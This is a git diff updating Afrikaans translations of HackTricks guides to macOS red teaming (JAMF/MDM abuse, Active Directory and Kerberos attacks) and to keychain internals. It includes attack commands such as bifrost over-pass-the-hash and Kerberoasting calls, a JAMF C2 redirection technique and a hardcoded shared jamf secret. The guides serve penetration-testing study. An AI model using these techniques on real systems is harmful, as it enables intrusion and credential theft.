Translated ['macos-hardening/macos-red-teaming/README.md', 'macos-harden

This commit is contained in:
Translator 2024-08-21 15:06:26 +00:00
parent aa77840f4b
commit b4a2c6242a
3 changed files with 292 additions and 174 deletions

View file

@ -1,69 +1,67 @@
# macOS Rooi-spanning
# macOS Red Teaming
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Rooi-spanningskenner (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Rooi-spanningskenner (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Leer & oefen AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Ondersteun HackTricks</summary>
* Kontroleer die [**inskrywingsplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## MDM's Misbruik
## Misbruik van MDMs
* JAMF Pro: `jamf checkJSSConnection`
* Kandji
As jy daarin slaag om **administrateurskredentiale te kompromiteer** om toegang tot die bestuursplatform te verkry, kan jy moontlik al die rekenaars **kompromiteer deur jou malware in die toestelle te versprei**.
As jy daarin slaag om **administrateur akrediteer te kompromitteer** om toegang tot die bestuursplatform te verkry, kan jy **potensieel al die rekenaars kompromitteer** deur jou malware in die masjiene te versprei.
Vir rooi-spanning in MacOS-omgewings word dit sterk aanbeveel om 'n begrip te hê van hoe die MDM's werk:
Vir red teaming in MacOS omgewings is dit hoogs aanbeveel om 'n bietjie begrip te hê van hoe die MDMs werk:
{% content-ref url="macos-mdm/" %}
[macos-mdm](macos-mdm/)
{% endcontent-ref %}
### MDM as 'n C2 gebruik
### Gebruik MDM as 'n C2
'n MDM sal toestemming hê om profiele te installeer, navrae te doen of te verwyder, toepassings te installeer, plaaslike administrateursrekeninge te skep, firmwarewagwoord in te stel, die FileVault-sleutel te verander...
'n MDM sal toestemming hê om profiele te installeer, te vra of te verwyder, toepassings te installeer, plaaslike administrateur rekeninge te skep, firmware wagwoord in te stel, die FileVault sleutel te verander...
Om jou eie MDM te hardloop, moet jy **jou CSR deur 'n verkoper laat onderteken** wat jy kan probeer kry met [**https://mdmcert.download/**](https://mdmcert.download/). En om jou eie MDM vir Apple-toestelle te hardloop, kan jy [**MicroMDM**](https://github.com/micromdm/micromdm) gebruik.
Om jou eie MDM te laat loop, moet jy **jou CSR deur 'n verskaffer laat teken** wat jy kan probeer om te kry met [**https://mdmcert.download/**](https://mdmcert.download/). En om jou eie MDM vir Apple toestelle te laat loop, kan jy [**MicroMDM**](https://github.com/micromdm/micromdm) gebruik.
Nogtans, om 'n toepassing op 'n ingeskryfde toestel te installeer, moet dit steeds deur 'n ontwikkelaarsrekening onderteken word... maar met MDM-inskrywing voeg die **toestel die SSL-sertifikaat van die MDM as 'n vertroude CA** by, sodat jy nou enigiets kan onderteken.
Om 'n toestel in 'n MDM te registreer, moet jy 'n **`mobileconfig`** lêer as root installeer, wat via 'n **pkg** lêer afgelewer kan word (jy kan dit in zip komprimeer en wanneer dit van safari afgelaai word, sal dit uitgepak word).
Om die toestel in 'n MDM in te skryf, moet jy 'n **`mobileconfig`**-lêer as root installeer, wat afgelewer kan word via 'n **pkg**-lêer (jy kan dit in 'n zip komprimeer en wanneer dit vanaf Safari afgelaai word, sal dit gedekomprimeer word).
**Mythic agent Orthrus** gebruik hierdie tegniek.
**Mythiese agent Orthrus** gebruik hierdie tegniek.
### Misbruik van JAMF PRO
### JAMF PRO Misbruik
JAMF kan **aangepaste skripte** (skripte wat deur die sysadmin ontwikkel is), **natuurlike payloads** (lokale rekening skepping, EFI wagwoord instel, lêer/proses monitering...) en **MDM** (toestel konfigurasies, toestel sertifikate...) uitvoer.
JAMF kan **aangepaste skripte** (skripte ontwikkel deur die stelseladministrateur), **inheemse vragte** (plaaslike rekening skepping, stel EFI-wagwoord, lêer/proses monitering...) en **MDM** (toestelkonfigurasies, toestelsertifikate...) hardloop.
#### JAMF self-registrasie
#### JAMF self-inskrywing
Gaan na 'n bladsy soos `https://<company-name>.jamfcloud.com/enroll/` om te sien of hulle **self-registrasie geaktiveer** het. As hulle dit het, mag dit **om akrediteer vra**.
Gaan na 'n bladsy soos `https://<maatskappy-naam>.jamfcloud.com/enroll/` om te sien of hulle **self-inskrywing geaktiveer** het. As hulle dit het, kan dit **versoek om kredentiale te verkry**.
Jy kan die skrip [**JamfSniper.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfSniper.py) gebruik om 'n wagwoord spuit aanval uit te voer.
Jy kan die skrip [**JamfSniper.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfSniper.py) gebruik om 'n wagwoordspuitaanval uit te voer.
Verder, nadat jy die regte kredentiale gevind het, kan jy dalk ander gebruikersname met die volgende vorm kragtig maak:
Boonop, nadat jy die regte akrediteer gevind het, kan jy in staat wees om ander gebruikersname met die volgende vorm te brute-force:
![](<../../.gitbook/assets/image (107).png>)
#### JAMF toestelverifikasie
#### JAMF toestel Verifikasie
<figure><img src="../../.gitbook/assets/image (167).png" alt=""><figcaption></figcaption></figure>
Die **`jamf`** binêre lêer het die geheim bevat om die sleutelhangertoegang oop te maak wat op daardie tydstip **gedeel** was onder almal en dit was: **`jk23ucnq91jfu9aj`**.\
Verder, bly jamf voort as 'n **LaunchDaemon** in **`/Library/LaunchAgents/com.jamf.management.agent.plist`**
Die **`jamf`** binêre het die geheim bevat om die sleutelring te open wat ten tyde van die ontdekking **gedeel** was onder almal en dit was: **`jk23ucnq91jfu9aj`**.\
Boonop, jamf **bly** as 'n **LaunchDaemon** in **`/Library/LaunchAgents/com.jamf.management.agent.plist`**
#### JAMF Toesteloorneem
#### JAMF Toestel Oorneming
Die **JSS** (Jamf Sagteware-bediener) **URL** wat **`jamf`** sal gebruik, is geleë in **`/Library/Preferences/com.jamfsoftware.jamf.plist`**.\
Die **JSS** (Jamf Software Server) **URL** wat **`jamf`** sal gebruik, is geleë in **`/Library/Preferences/com.jamfsoftware.jamf.plist`**.\
Hierdie lêer bevat basies die URL:
{% code overflow="wrap" %}
@ -81,7 +79,9 @@ plutil -convert xml1 -o - /Library/Preferences/com.jamfsoftware.jamf.plist
```
{% endcode %}
Dus, 'n aanvaller kan 'n skadelike pakket (`pkg`) laat val wat **hierdie lêer oorskryf** wanneer dit geïnstalleer word deur die **URL na 'n Mythic C2 luisteraar van 'n Typhon agent** te stel om nou JAMF te misbruik as C2.
So, 'n aanvaller kan 'n kwaadwillige pakket (`pkg`) laat val wat **hierdie lêer oorskryf** wanneer dit geïnstalleer word, wat die **URL na 'n Mythic C2 listener van 'n Typhon agent** stel om nou JAMF as C2 te kan misbruik.
{% code overflow="wrap" %}
```bash
# After changing the URL you could wait for it to be reloaded or execute:
sudo jamf policy -id 0
@ -90,26 +90,26 @@ sudo jamf policy -id 0
```
{% endcode %}
#### JAMF Nabootsing
#### JAMF Imitasie
Ten einde die **kommunikasie te naboots** tussen 'n toestel en JMF benodig jy:
Om die **kommunikasie** tussen 'n toestel en JMF te **imiteer**, benodig jy:
* Die **UUID** van die toestel: `ioreg -d2 -c IOPlatformExpertDevice | awk -F" '/IOPlatformUUID/{print $(NF-1)}'`
* Die **JAMF sleutelhang** vanaf: `/Library/Application\ Support/Jamf/JAMF.keychain` wat die toestel sertifikaat bevat
* Die **JAMF sleutelhouer** van: `/Library/Application\ Support/Jamf/JAMF.keychain` wat die toestel sertifikaat bevat
Met hierdie inligting, **skep 'n VM** met die **gesteelde** Hardeware **UUID** en met **SIP gedeaktiveer**, laat die **JAMF sleutelhang val**, **hook** die Jamf **agent** en steel sy inligting.
Met hierdie inligting, **skep 'n VM** met die **gestole** Hardeware **UUID** en met **SIP gedeaktiveer**, plaas die **JAMF sleutelhouer,** **haak** die Jamf **agent** en steel sy inligting.
#### Geheime steel
#### Geheimenisse steel
<figure><img src="../../.gitbook/assets/image (1025).png" alt=""><figcaption><p>a</p></figcaption></figure>
Jy kan ook die ligging `/Library/Application Support/Jamf/tmp/` monitor vir die **aangepaste skripte** wat admins dalk wil uitvoer via Jamf aangesien hulle hier **geplaas, uitgevoer en verwyder** word. Hierdie skripte **mag kredensiale bevat**.
Jy kan ook die ligging `/Library/Application Support/Jamf/tmp/` monitor vir die **aangepaste skripte** wat admins mag wil uitvoer via Jamf, aangesien hulle **hier geplaas, uitgevoer en verwyder** word. Hierdie skripte **kan akrediteer** bevat.
Nietemin, **kredensiale** mag deurgegee word aan hierdie skripte as **parameters**, dus sal jy `ps aux | grep -i jamf` moet monitor (sonder om selfs root te wees).
Echter, **akrediteer** kan deur hierdie skripte as **parameters** oorgedra word, so jy sal `ps aux | grep -i jamf` moet monitor (sonder om eers root te wees).
Die skrip [**JamfExplorer.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfExplorer.py) kan luister vir nuwe lêers wat bygevoeg word en nuwe proses argumente.
### macOS Afstandstoegang
### macOS Afgeleë Toegang
En ook oor **MacOS** "spesiale" **netwerk** **protokolle**:
@ -119,7 +119,7 @@ En ook oor **MacOS** "spesiale" **netwerk** **protokolle**:
## Aktiewe Gids
In sommige gevalle sal jy vind dat die **MacOS-rekenaar aan 'n AD gekoppel is**. In hierdie scenario moet jy probeer om die aktiewe gids soos jy gewoond is te **opsom**. Vind bietjie **hulp** in die volgende bladsye:
In sommige gevalle sal jy vind dat die **MacOS rekenaar aan 'n AD** gekonnekteer is. In hierdie scenario moet jy probeer om die aktiewe gids te **nommer** soos jy gewoond is. Vind 'n bietjie **hulp** in die volgende bladsye:
{% content-ref url="../../network-services-pentesting/pentesting-ldap.md" %}
[pentesting-ldap.md](../../network-services-pentesting/pentesting-ldap.md)
@ -133,36 +133,36 @@ In sommige gevalle sal jy vind dat die **MacOS-rekenaar aan 'n AD gekoppel is**.
[pentesting-kerberos-88](../../network-services-pentesting/pentesting-kerberos-88/)
{% endcontent-ref %}
Sommige **plaaslike MacOS-hulpmiddels** wat jou ook kan help is `dscl`:
Sommige **lokale MacOS hulpmiddel** wat jou ook kan help is `dscl`:
```bash
dscl "/Active Directory/[Domain]/All Domains" ls /
```
Daar is ook 'n paar gereedskap vir MacOS om outomaties die AD te ontleed en te speel met kerberos:
Ook is daar 'n paar gereedskap voorberei vir MacOS om outomaties die AD te evalueer en met kerberos te speel:
* [**Machound**](https://github.com/XMCyber/MacHound): MacHound is 'n uitbreiding van die Bloodhound ouditeringsgereedskap wat die insameling en opname van Aktiewe Advertensie-verhoudings op MacOS-gashere moontlik maak.
* [**Bifrost**](https://github.com/its-a-feature/bifrost): Bifrost is 'n Objective-C projek wat ontwerp is om met die Heimdal krb5 API's op macOS te interaksieer. Die doel van die projek is om beter sekuriteitstoetsing rondom Kerberos op macOS-toestelle moontlik te maak deur gebruik te maak van inheemse API's sonder om enige ander raamwerk of pakkette op die teiken te vereis.
* [**Orchard**](https://github.com/its-a-feature/Orchard): JavaScript vir Outomatisering (JXA) gereedskap om Aktiewe Advertensie-ontleding te doen.
* [**Machound**](https://github.com/XMCyber/MacHound): MacHound is 'n uitbreiding van die Bloodhound ouditgereedskap wat die versameling en opname van Active Directory verhoudings op MacOS gasheer toestelle moontlik maak.
* [**Bifrost**](https://github.com/its-a-feature/bifrost): Bifrost is 'n Objective-C projek wat ontwerp is om met die Heimdal krb5 APIs op macOS te kommunikeer. Die doel van die projek is om beter sekuriteitstoetsing rondom Kerberos op macOS toestelle moontlik te maak deur gebruik te maak van inheemse APIs sonder om enige ander raamwerk of pakkette op die teiken te vereis.
* [**Orchard**](https://github.com/its-a-feature/Orchard): JavaScript for Automation (JXA) gereedskap om Active Directory evaluering te doen.
### Domein Inligting
```bash
echo show com.apple.opendirectoryd.ActiveDirectory | scutil
```
### Gebruikers
### Users
Die drie tipes MacOS-gebruikers is:
Die drie tipes MacOS gebruikers is:
- **Plaaslike Gebruikers** - Bestuur deur die plaaslike OpenDirectory-diens, hulle is op geen enkele manier gekoppel aan die Aktiewe Gids nie.
- **Netwerkgebruikers** - Vlugtige Aktiewe Gids-gebruikers wat 'n verbinding met die DC-bediener benodig om te verifieer.
- **Mobiele Gebruikers** - Aktiewe Gids-gebruikers met 'n plaaslike rugsteun vir hul geloofsbriewe en lêers.
* **Plaaslike Gebruikers** — Bestuur deur die plaaslike OpenDirectory diens, hulle is nie op enige manier aan die Active Directory gekoppel nie.
* **Netwerk Gebruikers** — Vlugtige Active Directory gebruikers wat 'n verbinding met die DC bediener benodig om te autentiseer.
* **Mobiele Gebruikers** — Active Directory gebruikers met 'n plaaslike rugsteun vir hul akrediteer en lêers.
Die plaaslike inligting oor gebruikers en groepe word gestoor in die map _/var/db/dslocal/nodes/Default._\
Byvoorbeeld, die inligting oor 'n gebruiker genaamd _mark_ word gestoor in _/var/db/dslocal/nodes/Default/users/mark.plist_ en die inligting oor die groep _admin_ is in _/var/db/dslocal/nodes/Default/groups/admin.plist_.
Die plaaslike inligting oor gebruikers en groepe word gestoor in die gids _/var/db/dslocal/nodes/Default._\
Byvoorbeeld, die inligting oor die gebruiker genaamd _mark_ word gestoor in _/var/db/dslocal/nodes/Default/users/mark.plist_ en die inligting oor die groep _admin_ is in _/var/db/dslocal/nodes/Default/groups/admin.plist_.
Benewens die gebruik van die HasSession en AdminTo kante, **MacHound voeg drie nuwe kante** by tot die Bloodhound-databasis:
Benewens die gebruik van die HasSession en AdminTo kante, **voeg MacHound drie nuwe kante** by die Bloodhound databasis:
- **CanSSH** - entiteit wat toegelaat word om SSH na gasheer te maak
- **CanVNC** - entiteit wat toegelaat word om VNC na gasheer te maak
- **CanAE** - entiteit wat toegelaat word om AppleEvent-skripte op gasheer uit te voer
* **CanSSH** - entiteit toegelaat om SSH na gasheer
* **CanVNC** - entiteit toegelaat om VNC na gasheer
* **CanAE** - entiteit toegelaat om AppleEvent skripte op gasheer uit te voer
```bash
#User enumeration
dscl . ls /Users
@ -186,9 +186,40 @@ dsconfigad -show
```
Meer inligting in [https://its-a-feature.github.io/posts/2018/01/Active-Directory-Discovery-with-a-Mac/](https://its-a-feature.github.io/posts/2018/01/Active-Directory-Discovery-with-a-Mac/)
## Toegang tot die Sleutelhang
### Computer$ wagwoord
Dit is baie waarskynlik dat die Sleutelhang sensitiewe inligting bevat wat, as dit sonder 'n versoek toegang kry, kan help om 'n rooi span-oefening voort te sit:
Kry wagwoorde met:
```bash
bifrost --action askhash --username [name] --password [password] --domain [domain]
```
Dit is moontlik om die **`Computer$`** wagwoord binne die Stelsel sleutelhouer te verkry.
### Over-Pass-The-Hash
Kry 'n TGT vir 'n spesifieke gebruiker en diens:
```bash
bifrost --action asktgt --username [user] --domain [domain.com] \
--hash [hash] --enctype [enctype] --keytab [/path/to/keytab]
```
Sodra die TGT versamel is, is dit moontlik om dit in die huidige sessie in te spuit met:
```bash
bifrost --action asktgt --username test_lab_admin \
--hash CF59D3256B62EE655F6430B0F80701EE05A0885B8B52E9C2480154AFA62E78 \
--enctype aes256 --domain test.lab.local
```
### Kerberoasting
```bash
bifrost --action asktgs --spn [service] --domain [domain.com] \
--username [user] --hash [hash] --enctype [enctype]
```
Met verkregen dienskaartjies is dit moontlik om te probeer om toegang te verkry tot gedeeltes op ander rekenaars:
```bash
smbutil view //computer.fqdn
mount -t smbfs //server/folder /local/mount/point
```
## Toegang tot die Sleutelkettie
Die Sleutelkettie bevat hoogs waarskynlik sensitiewe inligting wat, indien toegang verkry word sonder om 'n prompt te genereer, kan help om 'n rooi span oefening vorentoe te beweeg:
{% content-ref url="macos-keychain.md" %}
[macos-keychain.md](macos-keychain.md)
@ -196,13 +227,13 @@ Dit is baie waarskynlik dat die Sleutelhang sensitiewe inligting bevat wat, as d
## Eksterne Dienste
MacOS Red Teaming is anders as 'n gewone Windows Red Teaming omdat **MacOS gewoonlik geïntegreer is met verskeie eksterne platforms direk**. 'n Gewone konfigurasie van MacOS is om toegang tot die rekenaar te verkry deur **OneLogin gesinkroniseerde geloofsbriewe te gebruik, en toegang te verkry tot verskeie eksterne dienste** (soos github, aws...) via OneLogin.
MacOS Rooi Span werk verskillend van 'n gewone Windows Rooi Span, aangesien **MacOS gewoonlik direk met verskeie eksterne platforms geïntegreer is**. 'n Algemene konfigurasie van MacOS is om toegang tot die rekenaar te verkry met **OneLogin gesinkroniseerde akrediteer, en toegang tot verskeie eksterne dienste** (soos github, aws...) via OneLogin.
## Verskeie Red Team tegnieke
## Verskeie Rooi Span tegnieke
### Safari
Wanneer 'n lêer in Safari afgelaai word, sal dit as dit 'n "veilige" lêer is, **outomaties oopgemaak** word. So byvoorbeeld, as jy 'n zip-lêer **aflaai**, sal dit outomaties gedekomprimeer word:
Wanneer 'n lêer in Safari afgelaai word, as dit 'n "veilige" lêer is, sal dit **outomaties geopen** word. So byvoorbeeld, as jy **'n zip aflaai**, sal dit outomaties uitgepak word:
<figure><img src="../../.gitbook/assets/image (226).png" alt=""><figcaption></figcaption></figure>
@ -211,20 +242,20 @@ Wanneer 'n lêer in Safari afgelaai word, sal dit as dit 'n "veilige" lêer is,
* [**https://www.youtube.com/watch?v=IiMladUbL6E**](https://www.youtube.com/watch?v=IiMladUbL6E)
* [**https://medium.com/xm-cyber/introducing-machound-a-solution-to-macos-active-directory-based-attacks-2a425f0a22b6**](https://medium.com/xm-cyber/introducing-machound-a-solution-to-macos-active-directory-based-attacks-2a425f0a22b6)
* [**https://gist.github.com/its-a-feature/1a34f597fb30985a2742bb16116e74e0**](https://gist.github.com/its-a-feature/1a34f597fb30985a2742bb16116e74e0)
* [**Kom na die Donker Kant, Ons Het Appels: Die Omskakeling van macOS-bestuurskunde tot Boosheid**](https://www.youtube.com/watch?v=pOQOh07eMxY)
* [**OBTS v3.0: "n Aanvaller se Perspektief op Jamf-konfigurasies" - Luke Roberts / Calum Hall**](https://www.youtube.com/watch?v=ju1IYWUv4ZA)
* [**Come to the Dark Side, We Have Apples: Turning macOS Management Evil**](https://www.youtube.com/watch?v=pOQOh07eMxY)
* [**OBTS v3.0: "An Attackers Perspective on Jamf Configurations" - Luke Roberts / Calum Hall**](https://www.youtube.com/watch?v=ju1IYWUv4ZA)
{% hint style="success" %}
Leer & oefen AWS-hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP-hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Leer & oefen AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Ondersteun HackTricks</summary>
* Kontroleer die [**inskrywingsplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,16 +1,16 @@
# macOS Sleutelbos
# macOS Sleutelsak
{% hint style="success" %}
Leer en oefen AWS-hacking: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer en oefen GCP-hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Leer & oefen AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Ondersteun HackTricks</summary>
* Controleer de [**abonnementsplannen**](https://github.com/sponsors/carlospolop)!
* **Sluit aan bij de** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of de [**telegramgroep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacktrucs door PR's in te dienen bij de** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
@ -19,9 +19,9 @@ Leer en oefen GCP-hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) is 'n **dark-web** aangedrewe soekenjin wat **gratis** funksies bied om te kontroleer of 'n maatskappy of sy kliënte deur **steelmalware** gekompromitteer is.
[**WhiteIntel**](https://whiteintel.io) is 'n **dark-web** aangedrewe soekenjin wat **gratis** funksies bied om te kyk of 'n maatskappy of sy kliënte **gekompromitteer** is deur **stealer malwares**.
Die primêre doel van WhiteIntel is om rekening-oorneemings en lospryse-aanvalle te beveg wat voortspruit uit inligtingsteelmalware.
Hul primêre doel van WhiteIntel is om rekening oorname en ransomware-aanvalle te bekamp wat voortspruit uit inligting-steel malware.
Jy kan hul webwerf besoek en hul enjin **gratis** probeer by:
@ -29,59 +29,62 @@ Jy kan hul webwerf besoek en hul enjin **gratis** probeer by:
***
## Hoof Sleutelbosse
## Hoof Sleutelsakke
* Die **Gebruiker Sleutelbos** (`~/Library/Keychains/login.keycahin-db`), wat gebruik word om **gebruikerspesifieke geloofsbriewe** soos aansoek wagwoorde, internet wagwoorde, gebruikers gegenereerde sertifikate, netwerk wagwoorde, en gebruikers gegenereerde openbare/privaat sleutels te stoor.
* Die **Stelsel Sleutelbos** (`/Library/Keychains/System.keychain`), wat **stelselwye geloofsbriewe** soos WiFi-wagwoorde, stelsel root sertifikate, stelsel private sleutels, en stelsel aansoek wagwoorde stoor.
* Die **Gebruiker Sleutelsak** (`~/Library/Keychains/login.keycahin-db`), wat gebruik word om **gebruiker-spesifieke geloofsbriewe** soos toepassingswagwoorde, internetwagwoorde, gebruiker-gegenereerde sertifikate, netwerkwagwoorde, en gebruiker-gegenereerde publieke/privaat sleutels te stoor.
* Die **Stelsel Sleutelsak** (`/Library/Keychains/System.keychain`), wat **stelsel-wye geloofsbriewe** soos WiFi wagwoorde, stelsel wortelsertifikate, stelsel private sleutels, en stelsel toepassingswagwoorde stoor.
### Toegang tot Wagwoord Sleutelbos
### Wagwoord Sleutelsak Toegang
Hierdie lêers, alhoewel hulle nie inherente beskerming het en afgelei kan word nie, is versleutel en vereis die **gebruiker se platte tekst wagwoord om ontsluit** te word. 'n Gereedskap soos [**Chainbreaker**](https://github.com/n0fate/chainbreaker) kan gebruik word vir ontsleuteling.
Hierdie lêers, terwyl hulle nie inherente beskerming het nie en **afgelaai** kan word, is versleuteld en vereis die **gebruiker se platte wagwoord om ontsleuteld** te word. 'n Gereedskap soos [**Chainbreaker**](https://github.com/n0fate/chainbreaker) kan gebruik word vir ontsleuteling.
## Sleutelbosinskrywingsbeskerming
## Sleutelsak Inskrywings Beskerming
### ACL's
### ACLs
Elke inskrywing in die sleutelbos word geregeer deur **Toegangsbeheerlyste (ACL's)** wat bepaal wie verskeie aksies op die sleutelbosinskrywing kan uitvoer, insluitend:
Elke inskrywing in die sleutelsak word gereguleer deur **Toegang Beheer Lyste (ACLs)** wat bepaal wie verskillende aksies op die sleutelsak inskrywing kan uitvoer, insluitend:
* **ACLAuhtorizationExportClear**: Laat die houer toe om die teks van die geheim te kry.
* **ACLAuhtorizationExportWrapped**: Laat die houer toe om die teks versleutel met 'n ander voorsiene wagwoord te kry.
* **ACLAuhtorizationExportClear**: Laat die houer toe om die duidelike teks van die geheim te verkry.
* **ACLAuhtorizationExportWrapped**: Laat die houer toe om die duidelike teks wat met 'n ander verskafde wagwoord versleuteld is, te verkry.
* **ACLAuhtorizationAny**: Laat die houer toe om enige aksie uit te voer.
Die ACL's word verder vergesel deur 'n **lys van vertroue toepassings** wat hierdie aksies sonder vraag kan uitvoer. Dit kan wees:
Die ACLs word verder vergesel deur 'n **lys van vertroude toepassings** wat hierdie aksies kan uitvoer sonder om te vra. Dit kan wees:
* **N`il`** (geen toestemming benodig, **almal is vertrou**).
* 'n **Leë** lys (**niemand is vertrou**).
* **N`il`** (geen toestemming vereis, **elkeen is vertrou**)
* 'n **leë** lys (**niemand** is vertrou)
* **Lys** van spesifieke **toepassings**.
Ook kan die inskrywing die sleutel **`ACLAuthorizationPartitionID`** bevat, wat gebruik word om die **teamid, apple,** en **cdhash** te identifiseer.
* As die **teamid** gespesifiseer is, moet die gebruikte toepassing dieselfde **teamid** hê om die inskrywingswaarde **sonder** 'n **vraag** te kan **ontsluit**.
* As die **apple** gespesifiseer is, moet die toepassing deur **Apple** wees.
* As die **cdhash** aangedui word, moet die toepassing die spesifieke **cdhash** hê.
* As die **teamid** gespesifiseer is, dan om die **inskrywing** waarde **sonder** 'n **prompt** te **toegang**, moet die gebruikte toepassing die **selfde teamid**.
* As die **apple** gespesifiseer is, dan moet die app **onderteken** wees deur **Apple**.
* As die **cdhash** aangedui is, dan moet die **app** die spesifieke **cdhash** hê.
### Skep 'n Sleutelbosinskrywing
### Skep 'n Sleutelsak Inskrywing
Wanneer 'n **nuwe** **inskrywing** geskep word met behulp van **`Keychain Access.app`**, geld die volgende reels:
Wanneer 'n **nuwe** **inskrywing** geskep word met **`Keychain Access.app`**, geld die volgende reëls:
* Alle toepassings kan versleutel.
* **Geen toepassings** kan uitvoer/ontsleutel (sonder om die gebruiker te vra).
* Alle toepassings kan die integriteitskontrole sien.
* Geen toepassings kan ACL's verander nie.
* Die **partitionID** is ingestel op **`apple`**.
* Alle apps kan versleutel.
* **Geen apps** kan uitvoer/ontsleutel (sonder om die gebruiker te vra).
* Alle apps kan die integriteitskontrole sien.
* Geen apps kan ACLs verander nie.
* Die **partitionID** is opgestel na **`apple`**.
Wanneer 'n **toepassing 'n inskrywing in die sleutelbos skep**, is die reels effens anders:
Wanneer 'n **toepassing 'n inskrywing in die sleutelsak skep**, is die reëls effens anders:
* Alle toepassings kan versleutel.
